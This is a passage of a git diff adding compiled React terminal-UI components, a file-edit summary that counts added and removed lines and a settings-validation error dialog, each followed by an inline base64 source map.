+  } = t0;
+  const {
+    columns
+  } = useTerminalSize();
+  const numAdditions = structuredPatch.reduce(_temp2, 0);
+  const numRemovals = structuredPatch.reduce(_temp4, 0);
+  let t1;
+  if ($[0] !== numAdditions) {
+    t1 = numAdditions > 0 ? <>Added <Text bold={true}>{numAdditions}</Text>{" "}{numAdditions > 1 ? "lines" : "line"}</> : null;
+    $[0] = numAdditions;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const t2 = numAdditions > 0 && numRemovals > 0 ? ", " : null;
+  let t3;
+  if ($[2] !== numAdditions || $[3] !== numRemovals) {
+    t3 = numRemovals > 0 ? <>{numAdditions === 0 ? "R" : "r"}emoved <Text bold={true}>{numRemovals}</Text>{" "}{numRemovals > 1 ? "lines" : "line"}</> : null;
+    $[2] = numAdditions;
+    $[3] = numRemovals;
+    $[4] = t3;
+  } else {
+    t3 = $[4];
+  }
+  let t4;
+  if ($[5] !== t1 || $[6] !== t2 || $[7] !== t3) {
+    t4 = <Text>{t1}{t2}{t3}</Text>;
+    $[5] = t1;
+    $[6] = t2;
+    $[7] = t3;
+    $[8] = t4;
+  } else {
+    t4 = $[8];
+  }
+  const text = t4;
+  if (previewHint) {
+    if (style !== "condensed" && !verbose) {
+      let t5;
+      if ($[9] !== previewHint) {
+        t5 = <MessageResponse><Text dimColor={true}>{previewHint}</Text></MessageResponse>;
+        $[9] = previewHint;
+        $[10] = t5;
+      } else {
+        t5 = $[10];
+      }
+      return t5;
+    }
+  } else {
+    if (style === "condensed" && !verbose) {
+      return text;
+    }
+  }
+  let t5;
+  if ($[11] !== text) {
+    t5 = <Text>{text}</Text>;
+    $[11] = text;
+    $[12] = t5;
+  } else {
+    t5 = $[12];
+  }
+  const t6 = columns - 12;
+  let t7;
+  if ($[13] !== fileContent || $[14] !== filePath || $[15] !== firstLine || $[16] !== structuredPatch || $[17] !== t6) {
+    t7 = <StructuredDiffList hunks={structuredPatch} dim={false} width={t6} filePath={filePath} firstLine={firstLine} fileContent={fileContent} />;
+    $[13] = fileContent;
+    $[14] = filePath;
+    $[15] = firstLine;
+    $[16] = structuredPatch;
+    $[17] = t6;
+    $[18] = t7;
+  } else {
+    t7 = $[18];
+  }
+  let t8;
+  if ($[19] !== t5 || $[20] !== t7) {
+    t8 = <MessageResponse><Box flexDirection="column">{t5}{t7}</Box></MessageResponse>;
+    $[19] = t5;
+    $[20] = t7;
+    $[21] = t8;
+  } else {
+    t8 = $[21];
+  }
+  return t8;
+}
+function _temp4(acc_0, hunk_0) {
+  return acc_0 + count(hunk_0.lines, _temp3);
+}
+function _temp3(__0) {
+  return __0.startsWith("-");
+}
+function _temp2(acc, hunk) {
+  return acc + count(hunk.lines, _temp);
+}
+function _temp(_) {
+  return _.startsWith("+");
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJTdHJ1Y3R1cmVkUGF0Y2hIdW5rIiwiUmVhY3QiLCJ1c2VUZXJtaW5hbFNpemUiLCJCb3giLCJUZXh0IiwiY291bnQiLCJNZXNzYWdlUmVzcG9uc2UiLCJTdHJ1Y3R1cmVkRGlmZkxpc3QiLCJQcm9wcyIsImZpbGVQYXRoIiwic3RydWN0dXJlZFBhdGNoIiwiZmlyc3RMaW5lIiwiZmlsZUNvbnRlbnQiLCJzdHlsZSIsInZlcmJvc2UiLCJwcmV2aWV3SGludCIsIkZpbGVFZGl0VG9vbFVwZGF0ZWRNZXNzYWdlIiwidDAiLCIkIiwiX2MiLCJjb2x1bW5zIiwibnVtQWRkaXRpb25zIiwicmVkdWNlIiwiX3RlbXAyIiwibnVtUmVtb3ZhbHMiLCJfdGVtcDQiLCJ0MSIsInQyIiwidDMiLCJ0NCIsInRleHQiLCJ0NSIsInQ2IiwidDciLCJ0OCIsImFjY18wIiwiaHVua18wIiwiYWNjIiwiaHVuayIsImxpbmVzIiwiX3RlbXAzIiwiX18wIiwiXyIsInN0YXJ0c1dpdGgiLCJfdGVtcCJdLCJzb3VyY2VzIjpbIkZpbGVFZGl0VG9vbFVwZGF0ZWRNZXNzYWdlLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgdHlwZSB7IFN0cnVjdHVyZWRQYXRjaEh1bmsgfSBmcm9tICdkaWZmJ1xuaW1wb3J0ICogYXMgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyB1c2VUZXJtaW5hbFNpemUgfSBmcm9tICcuLi9ob29rcy91c2VUZXJtaW5hbFNpemUuanMnXG5pbXBvcnQgeyBCb3gsIFRleHQgfSBmcm9tICcuLi9pbmsuanMnXG5pbXBvcnQgeyBjb3VudCB9IGZyb20gJy4uL3V0aWxzL2FycmF5LmpzJ1xuaW1wb3J0IHsgTWVzc2FnZVJlc3BvbnNlIH0gZnJvbSAnLi9NZXNzYWdlUmVzcG9uc2UuanMnXG5pbXBvcnQgeyBTdHJ1Y3R1cmVkRGlmZkxpc3QgfSBmcm9tICcuL1N0cnVjdHVyZWREaWZmTGlzdC5qcydcblxudHlwZSBQcm9wcyA9IHtcbiAgZmlsZVBhdGg6IHN0cmluZ1xuICBzdHJ1Y3R1cmVkUGF0Y2g6IFN0cnVjdHVyZWRQYXRjaEh1bmtbXVxuICBmaXJzdExpbmU6IHN0cmluZyB8IG51bGxcbiAgZmlsZUNvbnRlbnQ/OiBzdHJpbmdcbiAgc3R5bGU/OiAnY29uZGVuc2VkJ1xuICB2ZXJib3NlOiBib29sZWFuXG4gIHByZXZpZXdIaW50Pzogc3RyaW5nXG59XG5cbmV4cG9ydCBmdW5jdGlvbiBGaWxlRWRpdFRvb2xVcGRhdGVkTWVzc2FnZSh7XG4gIGZpbGVQYXRoLFxuICBzdHJ1Y3R1cmVkUGF0Y2gsXG4gIGZpcnN0TGluZSxcbiAgZmlsZUNvbnRlbnQsXG4gIHN0eWxlLFxuICB2ZXJib3NlLFxuICBwcmV2aWV3SGludCxcbn06IFByb3BzKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgY29uc3QgeyBjb2x1bW5zIH0gPSB1c2VUZXJtaW5hbFNpemUoKVxuICBjb25zdCBudW1BZGRpdGlvbnMgPSBzdHJ1Y3R1cmVkUGF0Y2gucmVkdWNlKFxuICAgIChhY2MsIGh1bmspID0+IGFjYyArIGNvdW50KGh1bmsubGluZXMsIF8gPT4gXy5zdGFydHNXaXRoKCcrJykpLFxuICAgIDAsXG4gIClcbiAgY29uc3QgbnVtUmVtb3ZhbHMgPSBzdHJ1Y3R1cmVkUGF0Y2gucmVkdWNlKFxuICAgIChhY2MsIGh1bmspID0+IGFjYyArIGNvdW50KGh1bmsubGluZXMsIF8gPT4gXy5zdGFydHNXaXRoKCctJykpLFxuICAgIDAsXG4gIClcblxuICBjb25zdCB0ZXh0ID0gKFxuICAgIDxUZXh0PlxuICAgICAge251bUFkZGl0aW9ucyA+IDAgPyAoXG4gICAgICAgIDw+XG4gICAgICAgICAgQWRkZWQgPFRleHQgYm9sZD57bnVtQWRkaXRpb25zfTwvVGV4dD57JyAnfVxuICAgICAgICAgIHtudW1BZGRpdGlvbnMgPiAxID8gJ2xpbmVzJyA6ICdsaW5lJ31cbiAgICAgICAgPC8+XG4gICAgICApIDogbnVsbH1cbiAgICAgIHtudW1BZGRpdGlvbnMgPiAwICYmIG51bVJlbW92YWxzID4gMCA/ICcsICcgOiBudWxsfVxuICAgICAge251bVJlbW92YWxzID4gMCA/IChcbiAgICAgICAgPD5cbiAgICAgICAgICB7bnVtQWRkaXRpb25zID09PSAwID8gJ1InIDogJ3InfWVtb3ZlZCA8VGV4dCBib2xkPntudW1SZW1vdmFsc308L1RleHQ+eycgJ31cbiAgICAgICAgICB7bnVtUmVtb3ZhbHMgPiAxID8gJ2xpbmVzJyA6ICdsaW5lJ31cbiAgICAgICAgPC8+XG4gICAgICApIDogbnVsbH1cbiAgICA8L1RleHQ+XG4gIClcblxuICAvLyBQbGFuIGZpbGVzOiBpbnZlcnQgY29uZGVuc2VkIGJlaGF2aW9yXG4gIC8vIC0gUmVndWxhciBtb2RlOiBqdXN0IHNob3cgdGhlIGhpbnQgKHVzZXIgY2FuIHR5cGUgL3BsYW4gdG8gc2VlIGZ1bGwgY29udGVudClcbiAgLy8gLSBDb25kZW5zZWQgbW9kZSAoc3ViYWdlbnQgdmlldyk6IHNob3cgdGhlIGRpZmZcbiAgaWYgKHByZXZpZXdIaW50KSB7XG4gICAgaWYgKHN0eWxlICE9PSAnY29uZGVuc2VkJyAmJiAhdmVyYm9zZSkge1xuICAgICAgcmV0dXJuIChcbiAgICAgICAgPE1lc3NhZ2VSZXNwb25zZT5cbiAgICAgICAgICA8VGV4dCBkaW1Db2xvcj57cHJldmlld0hpbnR9PC9UZXh0PlxuICAgICAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgICAgIClcbiAgICB9XG4gIH0gZWxzZSBpZiAoc3R5bGUgPT09ICdjb25kZW5zZWQnICYmICF2ZXJib3NlKSB7XG4gICAgcmV0dXJuIHRleHRcbiAgfVxuXG4gIHJldHVybiAoXG4gICAgPE1lc3NhZ2VSZXNwb25zZT5cbiAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAgICA8VGV4dD57dGV4dH08L1RleHQ+XG4gICAgICAgIDxTdHJ1Y3R1cmVkRGlmZkxpc3RcbiAgICAgICAgICBodW5rcz17c3RydWN0dXJlZFBhdGNofVxuICAgICAgICAgIGRpbT17ZmFsc2V9XG4gICAgICAgICAgd2lkdGg9e2NvbHVtbnMgLSAxMn1cbiAgICAgICAgICBmaWxlUGF0aD17ZmlsZVBhdGh9XG4gICAgICAgICAgZmlyc3RMaW5lPXtmaXJzdExpbmV9XG4gICAgICAgICAgZmlsZUNvbnRlbnQ9e2ZpbGVDb250ZW50fVxuICAgICAgICAvPlxuICAgICAgPC9Cb3g+XG4gICAgPC9NZXNzYWdlUmVzcG9uc2U+XG4gIClcbn1cbiJdLCJtYXBwaW5ncyI6IjtBQUFBLGNBQWNBLG1CQUFtQixRQUFRLE1BQU07QUFDL0MsT0FBTyxLQUFLQyxLQUFLLE1BQU0sT0FBTztBQUM5QixTQUFTQyxlQUFlLFFBQVEsNkJBQTZCO0FBQzdELFNBQVNDLEdBQUcsRUFBRUMsSUFBSSxRQUFRLFdBQVc7QUFDckMsU0FBU0MsS0FBSyxRQUFRLG1CQUFtQjtBQUN6QyxTQUFTQyxlQUFlLFFBQVEsc0JBQXNCO0FBQ3RELFNBQVNDLGtCQUFrQixRQUFRLHlCQUF5QjtBQUU1RCxLQUFLQyxLQUFLLEdBQUc7RUFDWEMsUUFBUSxFQUFFLE1BQU07RUFDaEJDLGVBQWUsRUFBRVYsbUJBQW1CLEVBQUU7RUFDdENXLFNBQVMsRUFBRSxNQUFNLEdBQUcsSUFBSTtFQUN4QkMsV0FBVyxDQUFDLEVBQUUsTUFBTTtFQUNwQkMsS0FBSyxDQUFDLEVBQUUsV0FBVztFQUNuQkMsT0FBTyxFQUFFLE9BQU87RUFDaEJDLFdBQVcsQ0FBQyxFQUFFLE1BQU07QUFDdEIsQ0FBQztBQUVELE9BQU8sU0FBQUMsMkJBQUFDLEVBQUE7RUFBQSxNQUFBQyxDQUFBLEdBQUFDLEVBQUE7RUFBb0M7SUFBQVYsUUFBQTtJQUFBQyxlQUFBO0lBQUFDLFNBQUE7SUFBQUMsV0FBQTtJQUFBQyxLQUFBO0lBQUFDLE9BQUE7SUFBQUM7RUFBQSxJQUFBRSxFQVFuQztFQUNOO0lBQUFHO0VBQUEsSUFBb0JsQixlQUFlLENBQUMsQ0FBQztFQUNyQyxNQUFBbUIsWUFBQSxHQUFxQlgsZUFBZSxDQUFBWSxNQUFPLENBQ3pDQyxNQUE4RCxFQUM5RCxDQUNGLENBQUM7RUFDRCxNQUFBQyxX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QTtFQUFBLElBQUFmLENBQUEsU0FBQU4sV0FBQSxJQUFBTSxDQUFBLFNBQUFULFFBQUEsSUFBQVMsQ0FBQSxTQUFBUCxTQUFBLElBQUFPLENBQUEsU0FBQVIsZUFBQSxJQUFBUSxDQUFBLFNBQUFjLEVBQUE7SUFIckJDLEVBQUEsSUFBQyxrQkFBa0IsQ0FDVnZCLEtBQWUsQ0FBZkEsZ0JBQWMsQ0FBQyxDQUNqQixHQUFLLENBQUwsTUFBSSxDQUFDLENBQ0gsS0FBWSxDQUFaLENBQUFzQixFQUFXLENBQUMsQ0FDVHZCLFFBQVEsQ0FBUkEsU0FBTyxDQUFDLENBQ1BFLFNBQVMsQ0FBVEEsVUFBUSxDQUFDLENBQ1BDLFdBQVcsQ0FBWEEsWUFBVSxDQUFDLEdBQ3hCO0lBQUFNLENBQUEsT0FBQU4sV0FBQTtJQUFBTSxDQUFBLE9BQUFULFFBQUE7SUFBQVMsQ0FBQSxPQUFBUCxTQUFBO0lBQUFPLENBQUEsT0FBQVIsZUFBQTtJQUFBUSxDQUFBLE9BQUFjLEVBQUE7SUFBQWQsQ0FBQSxPQUFBZSxFQUFBO0VBQUE7SUFBQUEsRUFBQSxHQUFBZixDQUFBO0VBQUE7RUFBQSxJQUFBZ0IsRUFBQTtFQUFBLElBQUFoQixDQUFBLFNBQUFhLEVBQUEsSUFBQWIsQ0FBQSxTQUFBZSxFQUFBO0lBVk5DLEVBQUEsSUFBQyxlQUFlLENBQ2QsQ0FBQyxHQUFHLENBQWUsYUFBUSxDQUFSLFFBQVEsQ0FDekIsQ0FBQUgsRUFBa0IsQ0FDbEIsQ0FBQUUsRUFPQyxDQUNILEVBVkMsR0FBRyxDQVdOLEVBWkMsZUFBZSxDQVlFO0lBQUFmLENBQUEsT0FBQWEsRUFBQTtJQUFBYixDQUFBLE9BQUFlLEVBQUE7SUFBQWYsQ0FBQSxPQUFBZ0IsRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQWhCLENBQUE7RUFBQTtFQUFBLE9BWmxCZ0IsRUFZa0I7QUFBQTtBQWpFZixTQUFBVCxPQUFBVSxLQUFBLEVBQUFDLE1BQUE7RUFBQSxPQWVZQyxLQUFHLEdBQUdoQyxLQUFLLENBQUNpQyxNQUFJLENBQUFDLEtBQU0sRUFBRUMsTUFBc0IsQ0FBQztBQUFBO0FBZjNELFNBQUFBLE9BQUFDLEdBQUE7RUFBQSxPQWV5Q0MsR0FBQyxDQUFBQyxVQUFXLENBQUMsR0FBRyxDQUFDO0FBQUE7QUFmMUQsU0FBQXBCLE9BQUFjLEdBQUEsRUFBQUMsSUFBQTtFQUFBLE9BV1lELEdBQUcsR0FBR2hDLEtBQUssQ0FBQ2lDLElBQUksQ0FBQUMsS0FBTSxFQUFFSyxLQUFzQixDQUFDO0FBQUE7QUFYM0QsU0FBQUEsTUFBQUYsQ0FBQTtFQUFBLE9BV3lDQSxDQUFDLENBQUFDLFVBQVcsQ0FBQyxHQUFHLENBQUM7QUFBQSIsImlnbm9yZUxpc3QiOltdfQ==
\ No newline at end of file
diff --git a/cc-haha/src/components/InvalidSettingsDialog.tsx b/cc-haha/src/components/InvalidSettingsDialog.tsx
new file mode 100644
index 0000000..95a95f5
--- /dev/null
+++ b/cc-haha/src/components/InvalidSettingsDialog.tsx
@@ -0,0 +1,89 @@
+import { c as _c } from "react/compiler-runtime";
+import React from 'react';
+import { Text } from '../ink.js';
+import type { ValidationError } from '../utils/settings/validation.js';
+import { Select } from './CustomSelect/index.js';
+import { Dialog } from './design-system/Dialog.js';
+import { ValidationErrorsList } from './ValidationErrorsList.js';
+type Props = {
+  settingsErrors: ValidationError[];
+  onContinue: () => void;
+  onExit: () => void;
+};
+
+/**
+ * Dialog shown when settings files have validation errors.
+ * User must choose to continue (skipping invalid files) or exit to fix them.
+ */
+export function InvalidSettingsDialog(t0) {
+  const $ = _c(13);
+  const {
+    settingsErrors,
+    onContinue,
+    onExit
+  } = t0;
+  let t1;
+  if ($[0] !== onContinue || $[1] !== onExit) {
+    t1 = function handleSelect(value) {
+      if (value === "exit") {
+        onExit();
+      } else {
+        onContinue();
+      }
+    };
+    $[0] = onContinue;
+    $[1] = onExit;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  const handleSelect = t1;
+  let t2;
+  if ($[3] !== settingsErrors) {
+    t2 = <ValidationErrorsList errors={settingsErrors} />;
+    $[3] = settingsErrors;
+    $[4] = t2;
+  } else {
+    t2 = $[4];
+  }
+  let t3;
+  if ($[5] === Symbol.for("react.memo_cache_sentinel")) {
+    t3 = <Text dimColor={true}>Files with errors are skipped entirely, not just the invalid settings.</Text>;
+    $[5] = t3;
+  } else {
+    t3 = $[5];
+  }
+  let t4;
+  if ($[6] === Symbol.for("react.memo_cache_sentinel")) {
+    t4 = [{
+      label: "Exit and fix manually",
+      value: "exit"
+    }, {
+      label: "Continue without these settings",
+      value: "continue"
+    }];
+    $[6] = t4;
+  } else {
+    t4 = $[6];
+  }
+  let t5;
+  if ($[7] !== handleSelect) {
+    t5 = <Select options={t4} onChange={handleSelect} />;
+    $[7] = handleSelect;
+    $[8] = t5;
+  } else {
+    t5 = $[8];
+  }
+  let t6;
+  if ($[9] !== onExit || $[10] !== t2 || $[11] !== t5) {
+    t6 = <Dialog title="Settings Error" onCancel={onExit} color="warning">{t2}{t3}{t5}</Dialog>;
+    $[9] = onExit;
+    $[10] = t2;
+    $[11] = t5;
+    $[12] = t6;
+  } else {
+    t6 = $[12];
+  }
+  return t6;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIlRleHQiLCJWYWxpZGF0aW9uRXJyb3IiLCJTZWxlY3QiLCJEaWFsb2ciLCJWYWxpZGF0aW9uRXJyb3JzTGlzdCIsIlByb3BzIiwic2V0dGluZ3NFcnJvcnMiLCJvbkNvbnRpbnVlIiwib25FeGl0IiwiSW52YWxpZFNldHRpbmdzRGlhbG9nIiwidDAiLCIkIiwiX2MiLCJ0MSIsImhhbmRsZVNlbGVjdCIsInZhbHVlIiwidDIiLCJ0MyIsIlN5bWJvbCIsImZvciIsInQ0IiwibGFiZWwiLCJ0NSIsInQ2Il0sInNvdXJjZXMiOlsiSW52YWxpZFNldHRpbmdzRGlhbG9nLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBUZXh0IH0gZnJvbSAnLi4vaW5rLmpzJ1xuaW1wb3J0IHR5cGUgeyBWYWxpZGF0aW9uRXJyb3IgfSBmcm9tICcuLi91dGlscy9zZXR0aW5ncy92YWxpZGF0aW9uLmpzJ1xuaW1wb3J0IHsgU2VsZWN0IH0gZnJvbSAnLi9DdXN0b21TZWxlY3QvaW5kZXguanMnXG5pbXBvcnQgeyBEaWFsb2cgfSBmcm9tICcuL2Rlc2lnbi1zeXN0ZW0vRGlhbG9nLmpzJ1xuaW1wb3J0IHsgVmFsaWRhdGlvbkVycm9yc0xpc3QgfSBmcm9tICcuL1ZhbGlkYXRpb25FcnJvcnNMaXN0LmpzJ1xuXG50eXBlIFByb3BzID0ge1xuICBzZXR0aW5nc0Vycm9yczogVmFsaWRhdGlvbkVycm9yW11cbiAgb25Db250aW51ZTogKCkgPT4gdm9pZFxuICBvbkV4aXQ6ICgpID0+IHZvaWRcbn1cblxuLyoqXG4gKiBEaWFsb2cgc2hvd24gd2hlbiBzZXR0aW5ncyBmaWxlcyBoYXZlIHZhbGlkYXRpb24gZXJyb3JzLlxuICogVXNlciBtdXN0IGNob29zZSB0byBjb250aW51ZSAoc2tpcHBpbmcgaW52YWxpZCBmaWxlcykgb3IgZXhpdCB0byBmaXggdGhlbS5cbiAqL1xuZXhwb3J0IGZ1bmN0aW9uIEludmFsaWRTZXR0aW5nc0RpYWxvZyh7XG4gIHNldHRpbmdzRXJyb3JzLFxuICBvbkNvbnRpbnVlLFxuICBvbkV4aXQsXG59OiBQcm9wcyk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIGZ1bmN0aW9uIGhhbmRsZVNlbGVjdCh2YWx1ZTogc3RyaW5nKTogdm9pZCB7XG4gICAgaWYgKHZhbHVlID09PSAnZXhpdCcpIHtcbiAgICAgIG9uRXhpdCgpXG4gICAgfSBlbHNlIHtcbiAgICAgIG9uQ29udGludWUoKVxuICAgIH1cbiAgfVxuXG4gIHJldHVybiAoXG4gICAgPERpYWxvZyB0aXRsZT1cIlNldHRpbmdzIEVycm9yXCIgb25DYW5jZWw9e29uRXhpdH0gY29sb3I9XCJ3YXJuaW5nXCI+XG4gICAgICA8VmFsaWRhdGlvbkVycm9yc0xpc3QgZXJyb3JzPXtzZXR0aW5nc0Vycm9yc30gLz5cbiAgICAgIDxUZXh0IGRpbUNvbG9yPlxuICAgICAgICBGaWxlcyB3aXRoIGVycm9ycyBhcmUgc2tpcHBlZCBlbnRpcmVseSwgbm90IGp1c3QgdGhlIGludmFsaWQgc2V0dGluZ3MuXG4gICAgICA8L1RleHQ+XG4gICAgICA8U2VsZWN0XG4gICAgICAgIG9wdGlvbnM9e1tcbiAgICAgICAgICB7IGxhYmVsOiAnRXhpdCBhbmQgZml4IG1hbnVhbGx5JywgdmFsdWU6ICdleGl0JyB9LFxuICAgICAgICAgIHtcbiAgICAgICAgICAgIGxhYmVsOiAnQ29udGludWUgd2l0aG91dCB0aGVzZSBzZXR0aW5ncycsXG4gICAgICAgICAgICB2YWx1ZTogJ2NvbnRpbnVlJyxcbiAgICAgICAgICB9LFxuICAgICAgICBdfVxuICAgICAgICBvbkNoYW5nZT17aGFuZGxlU2VsZWN0fVxuICAgICAgLz5cbiAgICA8L0RpYWxvZz5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUEsT0FBT0EsS0FBSyxNQUFNLE9BQU87QUFDekIsU0FBU0MsSUFBSSxRQUFRLFdBQVc7QUFDaEMsY0FBY0MsZUFBZSxRQUFRLGlDQUFpQztBQUN0RSxTQUFTQyxNQUFNLFFBQVEseUJBQXlCO0FBQ2hELFNBQVNDLE1BQU0sUUFBUSwyQkFBMkI7QUFDbEQsU0FBU0Msb0JBQW9CLFFBQVEsMkJBQTJCO0FBRWhFLEtBQUtDLEtBQUssR0FBRztFQUNYQyxjQUFjLEVBQUVMLGVBQWUsRUFBRTtFQUNqQ00sVUFBVSxFQUFFLEdBQUcsR0FBRyxJQUFJO0VBQ3RCQyxNQUFNLEVBQUUsR0FBRyxHQUFHLElBQUk7QUFDcEIsQ0FBQzs7QUFFRDtBQUNBO0FBQ0E7QUFDQTtBQUNBLE9BQU8sU0FBQUMsc0JBQUFDLEVBQUE7RUFBQSxNQUFBQyxDQUFBLEdBQUFDLEVBQUE7RUFBK0I7SUFBQU4sY0FBQTtJQUFBQyxVQUFBO0lBQUFDO0VBQUEsSUFBQUUsRUFJOUI7RUFBQSxJQUFBRyxFQUFBO0VBQUEsSUFBQUYsQ0FBQSxRQUFBSixVQUFBLElBQUFJLENBQUEsUUFBQUgsTUFBQTtJQUNOSyxFQUFBLFlBQUFDLGFBQUFDLEtBQUE7TUFDRSxJQUFJQSxLQUFLLEtBQUssTUFBTTtRQUNsQlAsTUFBTSxDQUFDLENBQUM7TUFBQTtRQUVSRCxVQUFVLENBQUMsQ0FBQztNQUFBO0lBQ2IsQ0FDRjtJQUFBSSxDQUFBLE1BQUFKLFVBQUE7SUFBQUksQ0FBQSxNQUFBSCxNQUFBO0lBQUFHLENBQUEsTUFBQUUsRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQUYsQ0FBQTtFQUFBO0VBTkQsTUFBQUcsWUFBQSxHQUFBRCxFQU1DO0VBQUEsSUFBQUcsRUFBQTtFQUFBLElBQUFMLENBQUEsUUFBQUwsY0FBQTtJQUlHVSxFQUFBLElBQUMsb0JBQW9CLENBQVNWLE1BQWMsQ0FBZEEsZUFBYSxDQUFDLEdBQUk7SUFBQUssQ0FBQSxNQUFBTCxjQUFBO0lBQUFLLENBQUEsTUFBQUssRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQUwsQ0FBQTtFQUFBO0VBQUEsSUFBQU0sRUFBQTtFQUFBLElBQUFOLENBQUEsUUFBQU8sTUFBQSxDQUFBQyxHQUFBO0lBQ2hERixFQUFBLElBQUMsSUFBSSxDQUFDLFFBQVEsQ0FBUixLQUFPLENBQUMsQ0FBQyxzRUFFZixFQUZDLElBQUksQ0FFRTtJQUFBTixDQUFBLE1BQUFNLEVBQUE7RUFBQTtJQUFBQSxFQUFBLEdBQUFOLENBQUE7RUFBQTtFQUFBLElBQUFTLEVBQUE7RUFBQSxJQUFBVCxDQUFBLFFBQUFPLE1BQUEsQ0FBQUMsR0FBQTtJQUVJQyxFQUFBLElBQ1A7TUFBQUMsS0FBQSxFQUFTLHVCQUF1QjtNQUFBTixLQUFBLEVBQVM7SUFBTyxDQUFDLEVBQ2pEO01BQUFNLEtBQUEsRUFDUyxpQ0FBaUM7TUFBQU4sS0FBQSxFQUNqQztJQUNULENBQUMsQ0FDRjtJQUFBSixDQUFBLE1BQUFTLEVBQUE7R